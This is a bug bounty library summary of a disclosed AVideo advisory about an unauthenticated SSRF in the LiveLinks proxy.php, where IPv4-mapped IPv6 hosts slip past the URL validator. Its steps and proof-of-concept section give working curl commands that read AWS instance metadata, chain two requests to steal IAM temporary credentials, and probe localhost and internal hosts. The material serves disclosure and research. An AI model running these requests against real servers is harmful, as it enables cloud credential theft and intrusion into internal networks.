# AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy

AVideo's isSSRFSafeURL() misses IPv4-mapped IPv6 addresses, letting unauthenticated attackers proxy requests to cloud metadata and internal services via LiveLinks proxy.php.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-20
- CVE: CVE-2026-33480
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-p3gr-g84w-g8hh
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-p3gr-g84w-g8hh
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:aws tech:php technique:source-review vuln:ssrf

**Target:** plugin/LiveLinks/proxy.php unauthenticated URL proxy
**Root cause:** isSSRFSafeURL() uses separate dotted-decimal IPv4 regexes and IPv6 checks for ::1/fe80::/fc00::, but never covers the ::ffff:0:0/96 IPv4-mapped IPv6 range, so such hosts pass validation.
**Steps:**
1. Send `curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'`
2. parse_url strips brackets yielding host `::ffff:169.254.169.254`; filter_var treats it as valid IP so gethostbyname is skipped
3. IPv4 regexes fail (not dotted-decimal) and IPv6 checks fail (no ::ffff: match), so isSSRFSafeURL returns true
4. proxy.php calls get_headers() then fakeBrowser() via curl and echoes the response body back
5. Enumerate IAM role via `/latest/meta-data/iam/security-credentials/` then fetch credentials for that role
**How found:** Code review of isSSRFSafeURL() revealed two disjoint check paths (IPv4 regexes vs IPv6 literal/link-local/ULA checks) with no handling of the ::ffff:0:0/96 mapped range, plus parse_url bracket-stripping and filter_var short-circuiting DNS resolution.
**Exploitation:** Unauthenticated attacker hits proxy.php with livelink pointing at `http://[::ffff:169.254.169.254]/...`; the server fetches the metadata endpoint and echoes the body, yielding IAM temporary credentials for full cloud access. Same primitive reaches localhost (e.g. `[::ffff:127.0.0.1]:3306`) and internal hosts (`[::ffff:10.0.0.1]`).
**Escalation:** Chain metadata reads: first list IAM role name, then request its credentials to pivot into cloud infrastructure.
**Insight:** When a validator splits IPv4 and IPv6 into separate blocklists, test IPv4-mapped IPv6 (`::ffff:x.x.x.x`) and other transition forms (NAT64, 6to4) — parse_url strips brackets and filter_var accepts them as IPs, skipping DNS resolution entirely.

## Proof of concept (copied exactly from the original report)

**curl PoC reading AWS metadata via IPv4-mapped IPv6**

```
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'
```

**Full IAM credential theft chain**

```
ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')

# Step 2: Get temporary credentials for the role
curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}"
```

**Localhost and internal network scan PoCs**

```
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'

**Scan internal network:**

curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'
```

